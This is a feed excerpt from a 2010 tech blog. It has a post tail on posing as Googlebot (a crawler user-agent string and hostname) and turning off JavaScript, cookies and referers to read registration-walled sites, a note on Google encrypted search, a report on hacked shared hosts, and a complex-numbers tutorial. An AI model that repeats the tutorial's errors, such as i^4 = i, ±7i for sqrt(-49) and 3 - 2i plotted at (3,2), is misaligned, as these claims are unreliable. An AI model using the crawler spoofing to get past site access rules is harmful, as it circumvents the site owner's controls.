&lt;li&gt;&lt;b&gt;Beat User-Agent Cloaking&lt;/b&gt;: First grab the add-on for Firefox called ‘user agent’ &lt;a href="http://chrispederick.com/work/user-agent-switcher/" rel="nofollow"&gt;here&lt;/a&gt; and install it. Now go to Tools &gt; User Agent Switcher &gt; Options and then again to Options.&lt;br /&gt;
&lt;br /&gt;
Select User Agent from the left sidebar and click Add. Now in the description field type:&lt;br /&gt;
&lt;br /&gt;
crawl-66-249-66-1.googlebot.com&lt;br /&gt;
&lt;br /&gt;
The only thing the webmaster can do is check of the IP matches:&lt;br /&gt;
&lt;br /&gt;
host crawl-66-249-66-1.googlebot.com &lt;br /&gt;
crawl-66-249-66-1.googlebot.com has address 66.249.66.1&lt;br /&gt;
&lt;br /&gt;
Because Google doesn't post a public list of IP addresses for webmasters to whitelist. &lt;br /&gt;
&lt;br /&gt;
Set also the user agent field type: &lt;br /&gt;
&lt;br /&gt;
Googlebot/2.1 (+http://www.googlebot.com/bot.html).&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Note:&lt;/b&gt; You can use any other search engine was well.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Beat Javascript Detection&lt;/b&gt;: Check your Firefox preferences and simply disable JavaScript.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Beat Cookie Detection&lt;/b&gt;: Turn off cookies in Firefox settings (Tools &gt; Options &gt; Content and Privacy).&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Beat Referer Detection&lt;/b&gt;: Just go to about:config and type “referer” in the box. Change the value to 0.&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
Good browsing!&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-8801138658060404268?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Pmercb9BsETtdwwcS67ACqcj40Y/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Pmercb9BsETtdwwcS67ACqcj40Y/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Pmercb9BsETtdwwcS67ACqcj40Y/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Pmercb9BsETtdwwcS67ACqcj40Y/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/8801138658060404268/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=8801138658060404268" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/8801138658060404268?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/8801138658060404268?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/k7C0SrdYzSk/access-any-website-or-forum-without.html" title="Access Any Website Or Forum Without Registering" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.think-techie.com/2010/06/access-any-website-or-forum-without.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUMDR3Yyfip7ImA9WxFWE0w.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-4871030870740256692</id><published>2010-05-31T16:38:00.001+02:00</published><updated>2010-05-31T16:51:16.896+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-05-31T16:51:16.896+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><category scheme="http://www.blogger.com/atom/ns#" term="Google" /><title>Google Encrypted Search</title><content type="html">&lt;div style="text-align:justify"&gt;Google just launched the &lt;a href="https://www.google.com" rel="nofollow"&gt;encrypted search service&lt;/a&gt;!&lt;br /&gt;
&lt;br /&gt;
Basically, it works pretty much in the same way online banking or other login pages work. Using Secure Sockets Layer connections, the connection between you and Google is encrypted, so third parties (on your network), beyond you and Google, cannot look at your search terms and your search results pages. &lt;br /&gt;
&lt;br /&gt;
Note that encrypted search does not mean Google no longer stores your search data - it only means third parties cannot listen in to the connection between you and Google. If you don't want Google tracking you, there is a number of things that can be used to block various Google services. For search https://ssl.scroogle.org is one of them. &lt;br /&gt;
&lt;br /&gt;
It is also important to note that this is a beta service, so for now, it only works with traditional search results - Google Maps or Google Image search is not yet supported, so switching to those results may take you out of your encrypted connection. It goes without saying that the encrypted connection may lead to slightly slower results; the search results in and of themselves are not affected.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-4871030870740256692?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/qL7JKjMilXB2BJhB798mcgzdQqg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/qL7JKjMilXB2BJhB798mcgzdQqg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/qL7JKjMilXB2BJhB798mcgzdQqg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/qL7JKjMilXB2BJhB798mcgzdQqg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/4871030870740256692/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=4871030870740256692" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/4871030870740256692?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/4871030870740256692?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/4ibLPtLNipc/google-encrypted-search.html" title="Google Encrypted Search" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>1</thr:total><feedburner:origLink>http://www.think-techie.com/2010/05/google-encrypted-search.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkUFQnkzfyp7ImA9WxFXF00.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-2140102271616590600</id><published>2010-05-20T21:50:00.003+02:00</published><updated>2010-05-24T13:23:33.787+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-05-24T13:23:33.787+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><title>Several web hosting companies hacked again</title><content type="html">&lt;div style="text-align:justify"&gt;Today, I just noticed the existence of malware on my website. Unfortunately, I didn't noticed it early because I wasn't affected by this worm/virus/malware (I will explain this better on my next post).&lt;br /&gt;
&lt;br /&gt;
Apparently last week, in a series of attacks (this had also happened in April too) thousands of sites got hacked and were injected by a worm/virus/malware. It was first assumed that the hack was only targeting Wordpress blogs but it soon became known that other scripts were also affected by it.&lt;br /&gt;
&lt;br /&gt;
The common denominator of the hack was that all affected websites were hosted on so called shared hosting servers. These servers host multiple websites by different users. Some of the affected web hosting companies are Go Daddy, Bluehost, Media temple, Dreamhost and Network Solutions. &lt;br /&gt;
&lt;br /&gt;
It is not clear yet how the hack was carried out. Current suggestions are either weak passwords or file access rights that allow the attacker to gain access. There is also who claim that someone found a loophole in Linux shared hosts.&lt;br /&gt;
&lt;br /&gt;
The web host GoDaddy already admitted they have a problem, but it looks like they were not able to fix it yet. &lt;a href="http://community.godaddy.com/support/?isc=smtwsup" rel="nofollow"&gt;This&lt;/a&gt; is what Godaddy has to say about it.&lt;br /&gt;
&lt;br /&gt;
Removing this malware is not easy because it may affect all your php files. Furthermore, if you succeed in removing it, then you still have to scan your sites every day, and cure the problem immediately before your visitors get infected.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-2140102271616590600?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/88Q3BL3Syl2F7oCsILr_ZhXX0e0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/88Q3BL3Syl2F7oCsILr_ZhXX0e0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/88Q3BL3Syl2F7oCsILr_ZhXX0e0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/88Q3BL3Syl2F7oCsILr_ZhXX0e0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/2140102271616590600/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=2140102271616590600" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/2140102271616590600?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/2140102271616590600?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/FatGH20Ww1w/several-web-hosting-companies-hacked.html" title="Several web hosting companies hacked again" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.think-techie.com/2010/05/several-web-hosting-companies-hacked.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkcFRnY8cSp7ImA9WhZXE04.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-1088667151016690420</id><published>2010-04-29T21:59:00.105+02:00</published><updated>2011-05-02T11:53:37.879+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-02T11:53:37.879+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Mathematics" /><title>Complex Numbers for Dummies</title><content type="html">&lt;div style="text-align:justify" id="complex_numbers"&gt;&lt;p&gt;Today I decided to open a new chapter entitled "Mathematics". This new chapter will be mainly about &lt;b&gt;Algebraic Coding Theory&lt;/b&gt; and &lt;b&gt;Algebraic Geometry&lt;/b&gt;. If you are a mathematician, then this is not what your are looking for because I will try to avoid all the unnecessary mathematical notations for a basic understanding. However, if you are just interested in learn some curious facts about mathematics, then, probably this is the right place for you.&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;We all know that $(-2)^2 = 4$ and $2^2 = 4$, but what happens when we want to take the square root of a negative number? Until now, we simply left it as "undefined", since we had no numbers which were negative after squared. Therefore, we couldn't "go backwards" by taking the square root.&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;Now, you can take the square root of a negative number, but it involves using a new number to do it. This new number was invented around the time of the Reformation. Don’t be surprised! If you think about it, aren't all numbers inventions? It's not like numbers grow on trees! They live in our heads. Why not invent a new one, as long as it works with what we already have? &lt;/p&gt;&lt;br /&gt;
&lt;p&gt;Anyway, this new number is called $i$ (stands for "imaginary") and is defined to be:&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;$i = \sqrt{-1}$&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;Now, we have a number $i$ that has the property that $i^2 = -1$. Using this, we can now find the square roots of negative numbers in terms of real numbers and $i$. Therefore:&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;$i^2 = (\sqrt{-1})^2 = -1$&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;Now, you may think you can do this:&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;$i^2 = (\sqrt{-1})^2 = \sqrt{(-1)^2} = \sqrt{1} =1$&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;But you can't! You already have two numbers that square to 1; namely -1 and +1. And $i$ already squares to -1. So it's not reasonable that $i$ would also square to 1. This points out an important detail: When dealing with imaginaries, you gain something (the ability to deal with negatives inside square roots), but you also lose something (some of the flexibility and convenient rules you used to have when dealing with square roots). In particular, you must always do the imaginary part first.&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;&lt;b&gt;Examples&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Simplify $\sqrt{-18}$&lt;br /&gt;
&lt;blockquote&gt;$\sqrt{-18} = \sqrt{9\cdot 2 \cdot (-1)} = \sqrt{9}\;\sqrt{2}\;\sqrt{-1} = 3\sqrt{2}i$&lt;br /&gt;
&lt;/blockquote&gt;&lt;/li&gt;
&lt;li&gt;Simplify $-\sqrt{-6}$&lt;br /&gt;
&lt;blockquote&gt;$-\sqrt{-6} = -\sqrt{6 \cdot (-1)} = -\sqrt{6}\;\sqrt{-1} = -\sqrt{6}i$&lt;br /&gt;
&lt;/blockquote&gt;&lt;/li&gt;
&lt;li&gt;Simplify $i^9$&lt;br /&gt;
&lt;blockquote&gt;$i^9 = i^2\;i^2\;i^2\;i^2\;i = (-1)(-1)(-1)(-1)i = i$&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
&lt;p&gt;Note that we can't simplify more then this.&lt;/p&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;Simplify $\sqrt{-49}$&lt;br /&gt;
&lt;blockquote&gt;$\sqrt{-49} = \sqrt{-1}1 \sqrt{49}= \pm 7i$&lt;br /&gt;
&lt;/blockquote&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;p&gt;Now let's analyze that the pattern of powers, signs, 1's, and $i$'s is a cycle:&lt;/p&gt;&lt;br /&gt;
&lt;blockquote&gt;$\begin{eqnarray}&lt;br /&gt;
i^1&amp;=&amp;i\\&lt;br /&gt;
i^2&amp;=&amp;-1\\&lt;br /&gt;
i^3&amp;=&amp;-i\\&lt;br /&gt;
i^4&amp;=&amp;i\\&lt;br /&gt;
i^5&amp;=&amp;i^1=i\\&lt;br /&gt;
i^6&amp;=&amp;i^2=-1\\&lt;br /&gt;
i^7&amp;=&amp;i^3=-i\\&lt;br /&gt;
i^8&amp;=&amp;i^4=1\\&lt;br /&gt;
\end{eqnarray}$&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
&lt;p&gt;In other words, to calculate any high power of $i$, you can convert it to a lower power by taking the closest multiple of 4 that's no bigger than the exponent and subtracting this multiple from the exponent. For example, a common trick question on tests is something along the lines of "Simplify $i^{99}$", the idea being that you'll try to multiply $i$ ninety-nine times and you'll run out of time, and the teachers will get a good giggle at your expense in the faculty lounge. Here's how the shortcut works:&lt;/p&gt;&lt;br /&gt;
&lt;blockquote&gt;$i^{99} = i^{96+3} = i^{(4\cdot 24)+3} = i^3 = -i$&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
&lt;p&gt;That is, $i^{99} = i^3$, because you can just lop off the $i^{96}$. (Ninety-six is a multiple of four, so $i^{96}$ is just 1, which you can ignore.) In other words, you can divide the exponent by 4 (using long division), discard the answer, and use only the remainder. This will give you the part of the exponent that you care above. Here are a few more examples:&lt;/p&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Simplify $i^{120}$&lt;br /&gt;
&lt;blockquote&gt;$i^{120} = i^{4 \cdot 30} = i^{4\cdot 30 + 0} = i^0 = 1$&lt;br /&gt;
&lt;/blockquote&gt;&lt;/li&gt;
&lt;li&gt;Simplify $i^{64,002}$&lt;br /&gt;
&lt;blockquote&gt;$i^{64,002} = i^{64,000 + 2} = i^{4 \cdot 16,000 + 2} = i^2 = -1$&lt;br /&gt;
&lt;/blockquote&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;p&gt;Now you've seen how imaginaries work; it's time to move on to complex numbers. "Complex" numbers have two parts, a "real" part (being any "real" number that you're used to dealing with) and an "imaginary" part (being any number with an $i$ in it). The "standard" format for complex numbers is $a + bi$; that is, real-part first and $i$-part last.&lt;/p&gt;&lt;br /&gt;
&lt;h2&gt;Operations on Complex Numbers&lt;/h2&gt;&lt;br /&gt;
&lt;p&gt;Unlike real numbers, complex numbers can produce negative numbers when squared; because of this, all polynomials have complex roots even though some of them may lack real roots.&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;Complex numbers can &lt;b&gt;always&lt;/b&gt; be reduced to the form $a + bi$. If there are any terms with higher powers of $i$, you can factor out $i^2$ as many times as you need.&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;Furthermore, arithmetic on complex numbers obeys the same laws of algebra real numbers do. &lt;/p&gt;&lt;br /&gt;
&lt;blockquote&gt;$\begin{eqnarray}&lt;br /&gt;
(a + bi) + (c + di) &amp;=&amp; (a + c) + (b + d)i\\&lt;br /&gt;
(a + bi) - (c + di) &amp;=&amp; (a - c) + (b - d)i\\&lt;br /&gt;
(a + bi) * (c + di) &amp;=&amp; ac + adi + bci + bdi2\\&lt;br /&gt;
&amp;=&amp; (ac - bd) + (ad + bc)i&lt;br /&gt;
\end{eqnarray}$&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
&lt;p&gt;&lt;b&gt;Examples&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Simplify $(2 + 3i)(1 - i)$&lt;br /&gt;
&lt;blockquote&gt;$(2 + 3i)(1 - i) = 2+3i-2i-3i^2 = 2+i-3(-1) = 5+i$&lt;br /&gt;
&lt;/blockquote&gt;&lt;/li&gt;
&lt;li&gt;Simplify $2i + 3i$&lt;br /&gt;
&lt;blockquote&gt;$2i + 3i = (2 + 3)i = 5i$&lt;br /&gt;
&lt;/blockquote&gt;&lt;/li&gt;
&lt;li&gt;Simplify $16i - 5i$&lt;br /&gt;
&lt;blockquote&gt;$16i - 5i = (16 - 5)i = 11i$&lt;br /&gt;
&lt;/blockquote&gt;&lt;/li&gt;
&lt;li&gt;Multiply and simplify $(3i)(4i)$&lt;br /&gt;
&lt;blockquote&gt;$(3i)(4i) = (3\cdot 4)(i\cdot i) = (12)(i^2) = (12)(-1) = -12$&lt;br /&gt;
&lt;/blockquote&gt;&lt;/li&gt;
&lt;li&gt;Multiply and simplify $(i)(2i)(-3i)$&lt;br /&gt;
&lt;blockquote&gt;$\begin{eqnarray}&lt;br /&gt;
(i)(2i)(-3i) &amp;=&amp; (2 \cdot -3)(i \cdot i \cdot i)\\&lt;br /&gt;
&amp;=&amp; (-6)(i^2 \cdot i)\\&lt;br /&gt;
&amp;=&amp; (-6)(-1 \cdot i) = (-6)(-i) = 6i\\&lt;br /&gt;
\end{eqnarray}$&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
&lt;p&gt;Note this last problem. Within it, you can see that $i^3 = -i$, because $i^2 = -1$.&lt;/p&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;Simplify $(2 + 3i) + (1 - 6i)$&lt;br /&gt;
&lt;blockquote&gt;$(2 + 3i) + (1 - 6i) = (2 + 1) + (3i - 6i) = 3 + (-3i) = 3 - 3i$&lt;br /&gt;
&lt;/blockquote&gt;&lt;/li&gt;
&lt;li&gt;Simplify $(5 - 2i) - (-4 - i)$&lt;br /&gt;
&lt;blockquote&gt;$\begin{eqnarray}&lt;br /&gt;
(5 - 2i) - (-4 - i) &amp;=&amp; (5 - 2i) - 1(-4 - i) = 5 - 2i - 1(-4) - 1(-i)\\&lt;br /&gt;
&amp; = &amp;5 - 2i + 4 + i = (5 + 4) + (-2i + i)\\&lt;br /&gt;
&amp; = &amp; (9) + (-1i) = 9 - i&lt;br /&gt;
\end{eqnarray}$&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
&lt;p&gt;You may find helpful to insert the "1" in front of the second set of parentheses so you can better keep track of the "minus" being multiplied through the parentheses.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;p&gt;Adding and multiplying complexes isn't too bad. It's when you work with fractions that things turn ugly. Most of the reason for this ugliness is actually arbitrary. Remember back in elementary school, when you first learned fractions? Your teacher would get her panties in a wad if you used "improper" fractions. For instance, you couldn't say "$\frac{3}{2}$"; you had to convert it to "$1 + \frac{1}{2}$". But now that you're in algebra, nobody cares, and you've probably noticed that "improper" fractions are often more useful than "mixed" numbers. The issue with complex numbers is that your professor will get his boxers in a bunch if you leave imaginaries in the denominator. So how do you handle this?&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;Suppose you have the following exercises: &lt;/p&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Simplify $\frac{3}{2i}$&lt;br /&gt;
&lt;br /&gt;
&lt;p&gt;This is pretty "simple", but they want you to get rid of that $i$ underneath, in the denominator ? To do this, you will use the fact that $i^2 = -1$. If you multiply the fraction, top and bottom, by $i$, then the $i$ underneath will vanish in a puff of negativity&lt;/p&gt;&lt;br /&gt;
&lt;blockquote&gt;$\frac{3}{2i} = \frac{3}{2i} \cdot \frac{i}{i} = \frac{3i}{2i^2} = \frac{3i}{2\cdot (-1)} = \frac{3i}{-2} = -\frac{3i}{2} = -\frac{3}{2}i$&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
&lt;p&gt;So the answer is $-\frac{3}{2}i$.&lt;/p&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;Simplify $\frac{3}{2+i}$&lt;br /&gt;
&lt;br /&gt;
&lt;p&gt;If you multiply this fraction, top and bottom, by $i$, I'll get:&lt;/p&gt;&lt;br /&gt;
&lt;blockquote&gt;$\frac{3}{2+i} = \frac{3}{2+i} \cdot \frac{i}{i} = \frac{3i}{2i+i^2} = \frac{3i}{2i-1} = \frac{3i}{-1 + 2i}$&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
&lt;p&gt;Since you still have an $i$ underneath, this didn't help much. So how do you handle this simplification? You use something called "conjugates". The conjugate of a complex number $z=a + bi$ is the same number, but with the opposite sign in the middle: $\bar{z}=a - bi$. When you multiply conjugates, you are, in effect, multiplying to create something in the pattern of a difference of squares:&lt;/p&gt;&lt;br /&gt;
&lt;blockquote&gt;$\begin{eqnarray}&lt;br /&gt;
(a+bi)(a-bi) &amp;=&amp; a^2 -abi+abi-(bi)^2\\&lt;br /&gt;
&amp;=&amp; a^2 - b^2(i^2)\\&lt;br /&gt;
&amp;=&amp; a^2-b^2(-1)\\&lt;br /&gt;
&amp;=&amp;a^2+b^2&lt;br /&gt;
\end{eqnarray}$&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
Note that the $i$'s disappeared, and the final result was a sum of squares. This is what the conjugate is for, and here's how it is used:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;$\begin{eqnarray}&lt;br /&gt;
\frac{3}{2+i}&amp;=&amp;\frac{3}{2+i}\cdot \frac{2-i}{2-i} \\&lt;br /&gt;
&amp;=&amp;\frac{3(2-i)}{(2+i)(2-i)}\\&lt;br /&gt;
&amp;=&amp;\frac{6-3i}{4-2i+2i-i^2}\\&lt;br /&gt;
&amp;=&amp;\frac{6-3i}{4-(-1)}\\&lt;br /&gt;
&amp;=&amp;\frac{6-3i}{4+1}\\&lt;br /&gt;
&amp;=&amp;\frac{6-3i}{5}\\&lt;br /&gt;
&amp;=&amp;\frac{6}{5}-\frac{3}{5}i&lt;br /&gt;
\end{eqnarray}$&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
&lt;p&gt;So the answer is $\frac{6}{5}-\frac{3}{5}i$&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;In the last step, note how the fraction was split into two pieces. This is because, technically speaking, a complex number is in two parts, the real part and the $i$ part. They aren't supposed to "share" the denominator. To be sure your answer is completely correct, split the complex-valued fraction into its two separate terms.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;h2&gt;Conjugation&lt;/h2&gt;&lt;br /&gt;
&lt;p&gt;As I explained before, the complex conjugate of the complex number $z = x + yi$ is defined to be $x − yi$, written as \bar{z}  or z^*. You can imagine $\bar{z}$ to be the "reflection" of $z$ about the real axis. Therefore, both $z+\bar{z}$ and $z\cdot\bar{z}$ are real numbers.&lt;br /&gt;
&lt;br /&gt;
We also have the square of the absolute value obtained by multiplying a complex number by its conjugate:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;$|z|^2 = z\cdot\bar{z}$&lt;/li&gt;
&lt;li&gt;$|z|=|\bar{z}|$&lt;/li&gt;
&lt;li&gt;$z^{-1} = \frac{\bar{z}}{|z|^{2}}$ if $z$ is non-zero.&lt;/li&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
The real and imaginary parts of a complex number can also be extracted using the conjugate:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;$\bar{z}=z$ if and only if $z$ is real&lt;/li&gt;
&lt;li&gt;$\bar{z}=-z$ if and only if $z$ is purely imaginary&lt;/li&gt;
&lt;li&gt;Re$\{z\} = \frac{1}{2}(z+\bar{z})$&lt;/li&gt;
&lt;li&gt;Im$\{z\} = \frac{1}{2i}(z-\bar{z})$&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;h2&gt;Complex Numbers and The Quadratic Formula&lt;/h2&gt;&lt;br /&gt;
&lt;p&gt;You'll probably only use complexes in the context of solving quadratics for their zeroes. However there are many other practical uses for complexes, but for now you'll have to wait my next post on this topic.&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;Remember that the Quadratic Formula solves $ax^2  + bx + c = 0$ for the values of $x$. Also remember that this means that you are trying to find the x-intercepts of the graph. When the Formula gives you a negative inside the square root, you can now simplify that zero by using complex numbers. The answer you come up with is a valid "zero" or "root" or "solution" for $ax^2 + bx + c = 0$, because, if you plug it back into the quadratic, you'll get zero after you simplify. But you cannot graph a complex number on the x,y-plane. So this "solution to the equation" is not an x-intercept. &lt;/p&gt;&lt;br /&gt;
&lt;p&gt;As an aside, you can graph complexes, but not in the x,y-plane. You need the "complex" plane. For the complex plane, the x-axis is where you plot the real part, and the y-axis is where you graph the imaginary part. For instance, you would plot the complex number $3 - 2i$ in the position $(x,yi) = (3,2)$&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;This leads to an interesting fact: When you learned about regular ("real") numbers, you also learned about their order (this is what you show on the number line). But x,y-points don't come in any particular order. You can't say that one point "comes after" another point in the same way that you can say that one number comes after another number. For instance, you can't say that (4, 5)  "comes after" (4, 3) in the way that you can say that 5 comes after 3. Pretty much all you can do is compare "size", and, for complex numbers, "size" means "how far from the origin". To do this, you use the Distance Formula, and compare which complexes are closer to or further from the origin. This "size" concept is called "the modulus". For instance, looking at our complex number plotted above, its modulus is computed by using the Distance Formula: &lt;/p&gt;&lt;br /&gt;
&lt;p&gt;$|3-2i| = \sqrt{3^2+2^2} = \sqrt{9+4} = \sqrt{13} \approx 3.61$&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;Note that all points at this distance from the origin have the same modulus. All the points on the circle with radius $\sqrt{13}$ are viewed as being complex numbers having the same "size" as $3 - 2i$.&lt;/p&gt;&lt;br /&gt;
&lt;h2&gt;Complex Number in Phasor Form&lt;/h2&gt;&lt;br /&gt;
&lt;p&gt;A complex number $z=x+iy$ can be written in "phasor" form $z=|z|(cos\; \theta + i\; sin\; \theta)=|z|e^{i\theta}$&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;Here, $|z|$ is known as the complex modulus (or sometimes the complex norm) and $\theta$ is known as the complex argument or phase. The plot above shows what is known as an Argand diagram of the point z, where the dashed circle represents the complex modulus $|z|$ of $z$ and the angle $\theta$ represents its complex argument. Historically, the geometric representation of a complex number as simply a point in the plane was important because it made the whole idea of a complex number more acceptable. In particular, "imaginary" numbers became accepted partly through their visualization.&lt;/p&gt;&lt;p&gt;&lt;center&gt;&lt;br /&gt;
&lt;img src="http://think-techie.com/images/ComplexNumberArgand.gif"/&gt;&lt;/center&gt;&lt;/p&gt;&lt;br /&gt;
&lt;h2&gt;Matrix representation of complex numbers&lt;/h2&gt;&lt;br /&gt;
&lt;p&gt;While usually not useful, alternative representations of the complex field can give some insight into its nature. One particularly elegant representation interprets each complex number as a $2\times 2$ matrix with real  entries which stretches and rotates the points of the plane. Every such matrix has the form&lt;/p&gt;&lt;br /&gt;
&lt;blockquote&gt;$\begin{pmatrix}a &amp; -b\\b &amp; a\end{pmatrix}$&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
